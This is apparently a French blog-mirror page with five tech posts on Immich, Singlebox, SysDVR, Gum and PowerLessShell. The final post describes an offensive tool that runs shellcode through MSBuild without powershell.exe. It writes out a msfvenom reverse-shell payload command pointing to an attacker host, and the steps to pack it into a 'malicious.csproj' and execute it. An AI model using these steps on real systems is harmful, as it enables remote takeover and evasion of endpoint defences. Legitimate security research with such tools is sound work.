PROJET AUTOBLOG


Korben

Site original : Korben

⇐ retour index

Mise à jour

Mise à jour de la base de données, veuillez patienter...

Immich – La solution de sauvegarde auto-hébergée pour vos photos et vidéos

jeudi 3 août 2023 à 09:00

Il était une fois, un Développeur nommé Alex qui cherchait désespérément une solution de sauvegarde auto-hébergée pour ses photos et vidéos de son magnifique bébé. Mais Alex ne voulait pas mettre tout ça dans un cloud privé tenu par les GAFAM.

Alors en bon geek, Alex a créé sa propre solution : Immich ! C’est une application mobile et web disponible sous licence MIT, axée sur la confidentialité, la collecte de « souvenirs » et bien sûr la facilité d’utilisation.

Voyez ça comme un Google Photos mais en version auto-hébergeable. D’ailleurs l’une des grandes fonctionnalités d’Immich est la sauvegarde automatique de vos photos et vidéos directement depuis votre smartphone et votre ordinateur. Plus besoin de se soucier de tout perdre dans un crash de disque dur ! Immich gère tout pour vous.

Aussi, si vous êtes un(e) passionné(e) de photographie, vous serez encore plus joyeux puisqu’il prend même en charge les formats RAW ! Vous pouvez également rechercher des images en utilisant des métadonnées, des noms d’objets, des visages, et même CLIP dont je vous ai déjà parlé. Impressionnant, non ?

Si vous avez un appareil Android ou iOS, vous pouvez récupérer l’appli mobile.

Docker Compose est la méthode recommandée pour exécuter Immich en production donc créez un répertoire de votre choix pour y mettre les fichiers docker-compose.yml et .env.

Ensuite, placez-vous dans le répertoire que vous avez créé et récupérez ces fichiers à l’aide des commandes suivantes :

wget https://github.com/immich-app/immich/releases/latest/download/docker-compose.yml
wget -O .env https://github.com/immich-app/immich/releases/latest/download/example.env

Vous pouvez aussi les récupérer à la main depuis votre navigateur. Renommez le fichier example.env en .env et éditez la pour modifier les valeurs concernant la base de données et l’emplacement où seront stockés les fichiers…etc.

Enfin, lancez le docker-compose comme ceci :

docker-compose up -d

Et pour récupérer les dernières mises à jour de Immich, utilisez cette commande :

docker-compose pull && docker-compose up -d

Pour vous aider à en savoir plus, je vous invite à consulter la documentation officielle et pourquoi ne pas jeter un coup d’œil à la démo. Notez cependant que l’application est encore en développement, alors ne la considérez pas comme l’unique moyen de stockage pour vos photos et vidéos. Les backups c’est comme les billets de 100 €, c’est mieux quand y’en a plusieurs !

À découvrir ici.

Singlebox – Une seule app pour our gérer toutes vos messageries et comptes Web

mercredi 2 août 2023 à 09:00

Si vous cherchez un moyen simple et efficace de gérer tous vos messageries et comptes Web, voici une application très sympa baptisée Singlebox qui risque de vous intéresser

Dispo sous Mac et PC (Windows / Linux), c’est une app de messagerie et de courrier électronique tout-en-un qui vous permet de regrouper tous vos services et comptes web en un seul et même endroit.

Que vous utilisiez Discord, WhatsApp, Messenger, Slack, Telegram ou d’autres, Singlebox vous facilite la vie en prenant en charge une très grande variété de services de chat et de messagerie aussi bien pro que perso.

Vous allez kiffer car il est possible d’ajouter le même service plusieurs fois, ce qui vous permettra de gérer en même temps plusieurs comptes.

Singlebox est beaucoup plus qu’une simple application de messagerie, puisqu’elle fonctionne comme un navigateur web intelligent qui vous permet de lancer et d’organiser plusieurs applications Web, vous permettant de passer facilement de l’une à l’autre à l’aide de raccourcis clavier.

Elle prend également en charge des milliers de services web, tels que GitHub, LinkedIn, Asana, Trello et bien d’autres encore. Vous apprécierez aussi le fait que Singlebox puisse être défini comme votre client de messagerie ou votre application de calendrier par défaut, s’intégrant parfaitement avec Gmail, Google Calendar, Outlook, Fastmail et bien plus.

La sécurité et la protection de la vie privée sont également de préoccupations qui ont été traitées dans Singlebox. Ainsi, vous pouvez verrouiller et protéger vos comptes avec un mot de passe ou à l’aide du Touch ID, et chaque compte ou espace de travail est lancé dans un environnement en sandbox par défaut, vous protégeant ainsi contre les trackers inter-sites.

Parmi les autres fonctionnalités intéressantes de Singlebox, on peut citer la personnalisation des icônes et des couleurs, le thème sombre, le blocage des publicités et des trackers, et la planification des alertes.

Cela en fait une application vraiment polyvalente et adaptée à ceux qui cherchent à gagner en productivité et à organiser leur vie numérique. En version gratuite, vous pouvez avoir 2 « espaces » et pour aller plus loin, il faudra débourser environ 30$.

À découvrir ici

Et dans le même style, il y a également Franz, Ferdium et Ferdi pour ceux qui veulent du moins cher ^^.

SysDVR – Le sysmodule multiplateforme pour capturer et diffuser vos jeux Switch

mercredi 26 juillet 2023 à 09:00

S’il y a bien une chose qui peut divertir, amuser et même nous transporter dans un univers fantastique, ce sont les jeux sur la merveilleuse Nintendo Switch.

Alors imaginez s’il y avait un moyen pratique de capturer nos moments de jeu les plus épiques et de les partager avec des amis ou même les diffuser en direct sur le monde entier, sans avoir à investir dans du matos spécial ?

Et bien, j’ai une excellente nouvelle pour vous : il existe une solution magique qui vous permettra de réaliser ces prouesses, et cela s’appelle SysDVR !

SysDVR est ce qu’on appelle un sysmodule, qui permet de capturer la sortie d’un jeu en cours d’exécution sur votre Nintendo Switch (crackée) et de la diffuser vers un PC via une connexion USB ou réseau. La beauté de cet outil réside dans sa compatibilité multiplateforme, puisqu’il peut diffuser vers Windows, Mac et Linux. En termes de qualité, SysDVR ne vous décevra pas non plus ! La qualité vidéo est fixée à 720p et 30 images par seconde avec une compression h264, tandis que la qualité audio est fixée à 16 bits PCM à 48 kHz en stéréo.

L’un des aspects les plus impressionnants de SysDVR est sa latence très faible lorsqu’il est configuré de manière optimale. Cela signifie que la plupart des jeux sont parfaitement jouables et que vos amis pourront voir en temps réel toutes les aventures spectaculaires que vous vivrez dans le nouveau Zelda par exemple.

Cependant, il faut garder à l’esprit que SysDVR ne fonctionne que sur les jeux qui ont l’enregistrement vidéo activé et ne capture que la sortie du jeu. La qualité de la diffusion dépendra également fortement de votre environnement, il est donc important d’avoir des câbles USB de qualité et un signal wifi robuste.

Malheureusement, la diffusion via USB n’est pas disponible lorsque la Switch est connectée à un dock, et vous aurez besoin d’au moins le firmware 6.0.0 pour que cela fonctionne. Pour vous aider dans l’utilisation de SysDVR, je vous recommande vivement de consulter le guide sur le wiki. Si vous rencontrez des problèmes, n’hésitez pas également à consulter la page des problèmes courants ou à demander de l’aide sur Discord ou en ouvrant un ticket de support.

Si vous appréciez le travail du développeur de SysDVR et que vous souhaitez le soutenir, n’hésitez pas à lui faire un don via Ko-fi.

SysDVR c’est à découvrir ici.

Gum – Un outil pour écrire des scripts en un clin d’oeil

mardi 25 juillet 2023 à 09:00

Voici un outil fantastique nommé Gum qui va vous permettre d’écrire des scripts Shell et de gérer vos dotfiles en quelques lignes de code seulement, et après l’avoir testé, je suis sûr que vous ne pourrez plus vous en passer.

Voici un exemple de ce qu’il est possible de faire avec Gum :

Et voici le code associé :

#!/bin/bash

gum style --border normal --margin "1" --padding "1 2" --border-foreground 212 "Hello, there! Welcome to $(gum style --foreground 212 'Gum')."
NAME=$(gum input --placeholder "What is your name?")

echo -e "Well, it is nice to meet you, $(gum style --foreground 212 "$NAME")."

sleep 2; clear

echo -e "Can you tell me a $(gum style --italic --foreground 99 'secret')?\n"

gum write --placeholder "I'll keep it to myself, I promise!" > /dev/null # we keep the secret to ourselves

clear; echo "What should I do with this information?"; sleep 1

READ="Read"; THINK="Think"; DISCARD="Discard"
ACTIONS=$(gum choose --cursor-prefix "[ ] " --selected-prefix "[✓] " --no-limit "$READ" "$THINK" "$DISCARD")

clear; echo "One moment, please."

grep -q "$READ" <<< "$ACTIONS" && gum spin -s line --title "Reading the secret..." -- sleep 1
grep -q "$THINK" <<< "$ACTIONS" && gum spin -s pulse --title "Thinking about your secret..." -- sleep 1
grep -q "$DISCARD" <<< "$ACTIONS" && gum spin -s monkey --title " Discarding your secret..." -- sleep 2

sleep 1; clear

echo "What's your favorite $(gum style --foreground 212 "Gum") flavor?"
GUM=$(echo -e "Cherry\nGrape\nLime\nOrange" | gum filter)
echo "I'll keep that in mind!"

sleep 1; clear

echo "Do you like $(gum style --foreground "#04B575" "Bubble Gum?")"
sleep 1

CHOICE=$(gum choose --item.foreground 250 "Yes" "No" "It's complicated")

[[ "$CHOICE" == "Yes" ]] && echo "I thought so, $(gum style --bold "Bubble Gum") is the best." || echo "I'm sorry to hear that."

sleep 1

gum spin --title "Chewing some $(gum style --foreground "#04B575" "$GUM") bubble gum..." -- sleep 5

clear

NICE_MEETING_YOU=$(gum style --height 5 --width 25 --padding '1 3' --border double --border-foreground 57 "Well, it was nice meeting you, $(gum style --foreground 212 "$NAME"). Hope to see you soon!")
CHEW_BUBBLE_GUM=$(gum style --width 25 --padding '1 3' --border double --border-foreground 212 "Don't forget to chew some $(gum style --foreground "#04B575" "$GUM") bubble gum.")
gum join --horizontal "$NICE_MEETING_YOU" "$CHEW_BUBBLE_GUM"

Pour l’installer, vous pouvez le faire soit avec un gestionnaire de paquets ou en le téléchargeant directement. Des packages sont d’ailleurs disponibles pour Debian, RPM et Alpine, ainsi que des binaires pour Linux, macOS (brew install gum), Windows (scoop install charm-gum), FreeBSD, OpenBSD et NetBSD.

Et si vous préférez, vous pouvez même l’installer à l’aide de Go. Personnellement, j’adore le côté flexible de Gum : il peut être intégré dans des scripts et adapté à votre convenance grâce aux options de configuration et aux variables d’environnement, ce qui vous permet par exemple de personnaliser la couleur du curseur ou la largeur de l’affichage.

La documentation est très complète à ce sujet.

Ainsi, la commande « gum input » permet de demander une entrée à l’utilisateur, tandis que « gum write » fonctionne pour une entrée multi-ligne.

Envie de filtrer une liste de valeurs en utilisant la correspondance floue ? Gum est là pour ça avec « gum filter« . Et si vous avez besoin d’aide pour choisir une option à partir d’une liste de choix, « gum choose » sera votre meilleur allié.

Même la commande « gum confirm » rend la vie plus simple en demandant si une action doit être effectuée ou non. J’apprécie également énormément l’option « gum file« , qui me permet de sélectionner un fichier directement depuis l’arborescence des fichiers, et la commande « gum spin » ne manque pas de me rappeler que Gum travaille fort fort fort pour moi en affichant un spinner (vous savez, le petit cercle qui tourne pour vous faire patienter) pendant qu’une commande ou un script s’exécute.

Voici un autre exemple de code :

#!/bin/sh
TYPE=$(gum choose "fix" "feat" "docs" "style" "refactor" "test" "chore" "revert")
SCOPE=$(gum input --placeholder "scope")

# Since the scope is optional, wrap it in parentheses if it has a value.
test -n "$SCOPE" && SCOPE="($SCOPE)"

# Pre-populate the input with the type(scope): so that the user may change it
SUMMARY=$(gum input --value "$TYPE$SCOPE: " --placeholder "Summary of this change")
DESCRIPTION=$(gum write --placeholder "Details of this change (CTRL+D to finish)")

# Commit these changes
gum confirm "Commit changes?" && git commit -m "$SUMMARY" -m "$DESCRIPTION"

Et le rendu dans le terminal :

Outre ces commandes de base, Gum propose également une panoplie d’options pour s’adapter à vos besoins spécifiques. Les différents types de spinner incluent ligne, point, minidot, saut, impulsion, points, globe, lune, un singe (!), mètre et même un hamburger. La commande de tableau est très pratique pour sélectionner des données tabulaires, tandis que le style et la mise en page sont personnalisables à loisir pour combiner texte de manière verticale ou horizontale, ou encore pour traiter et formater les paragraphes. Pour plus d’informations sur les modèles, pensez encore une fois à consulter la documentation.

Mais ce qui fait vraiment la force de Gum, c’est sa capacité à être intégré à diverses tâches du quotidien. Qui n’a jamais souhaité écrire un message de commit en un instant, ouvrir des fichiers dans son éditeur de texte préféré, se connecter à une session TMUX, sélectionner un hash de commit dans son historique Git, choisir des mots de passe avec Skate, ou encore supprimer des branches en deux temps trois mouvements ?

Un tour d’horizon des exemples du répertoire Gum vous convaincra d’autant plus de l’intérêt de cet outil.

Gum est à découvrir ici !

PowerLessShell – Exécutez des Scripts PowerShell sans powershell.exe

lundi 24 juillet 2023 à 09:00

PowerLessShell est un outil incroyable pour les passionnés de PowerShell et de sécurité informatique. Qui aurait cru qu’on pouvait exécuter des scripts et des commandes PowerShell sans même lancer powershell.exe ? Et pour couronner le tout, il permet également d’exécuter du shellcode brut ! C’est de la sorcellerie !

La puissance de cet outil réside dans son utilisation de MSBuild.exe. La combinaison des deux permet d’obtenir un résultat vraiment cool pour les pro du Powershell. Certaines conditions peuvent être utilisées avec MSBuild pour empêcher l’exécution du code si elles ne sont pas remplies, ce qui ajoute une couche de sécurité.

La beauté de PowerLessShell, c’est qu’il utilise des arguments de ligne de commande pour générer le fichier final et il peut générer une charge utile PowerShell ou shellcode. C’est donc très utile également pour les pros en sécurité informatique.

Le concept est très bien expliqué avec des exemples concrets comme celui-ci :

$ python PowerLessShell.py -source shellcode64.raw -output malicious.csproj -arch 64
PowerLessShell Less is More
Mr.Un1k0d3r RingZer0 Team
-----------------------------------------------------------
Generating the msbuild file using include/template-shellcode.csproj as the template
Generating a payload for a 64 bits shellcode! Don't forget to use the 64 bits version of msbuild.exe
File 'malicious.csproj' created
Process completed

Le processus est assez simple et direct, même pour ceux qui n’ont pas beaucoup d’expérience avec PowerShell ou MSBuild.

Et ce n’est pas tout ! Un script nommé Cobalt Strike Aggressor (wmi_msbuild.cna) est également disponible avec des instructions pour la configuration et l’utilisation. Si vous n’avez jamais entendu parler de Cobalt Strike, c’est une plateforme de post-exploitation professionnelle de qualité militaire.

Le plus impressionnant, c’est que tout ceci a été mis au point par une seule personne : Mr.Un1k0d3r.

Alors, comment utiliser ce merveilleux outil en pratique ?

Voici un exemple d’utilisation de PowerLessShell pour générer un shellcode avec l’outil msfvenom de Metasploit et ensuite l’exécuter avec MSBuild :

msfvenom -a x64 --platform Windows -p windows/shell_reverse_tcp LHOST=192.168.1.10 LPORT=1234 -b '\\x00\\x0A\\x0D' -i 20 -f csharp

Ensuite, utilisez PowerLessShell pour injecter le shellcode dans un fichier MSBuild :

PowerLessShell.exe -s <shellcode> -w 20

Finalement, exécutez le fichier malveillant avec MSBuild :

MSBuild.exe malicious.csproj

Voilà, le tour est joué ! Il vous suffira d’écouter la connexion entrante shell_reverse_tcp sur votre serveur pour guetter la connexion du client malveillant et prendre le contrôle. C’est un exemple simple mais puissant de ce que PowerLessShell peut faire. Evidemment, c’est à manipuler avec éthique, dans un cadre de recherche ou lors d’une mission de sécurité informatique.

En conclusion, que vous soyez un professionnel de la sécurité informatique ou simplement quelqu’un qui aime bidouiller et apprendre, cet outil vous surprendra à coup sûr. N’hésitez pas à visiter le GitHub de PowerLessShell pour en savoir plus ici.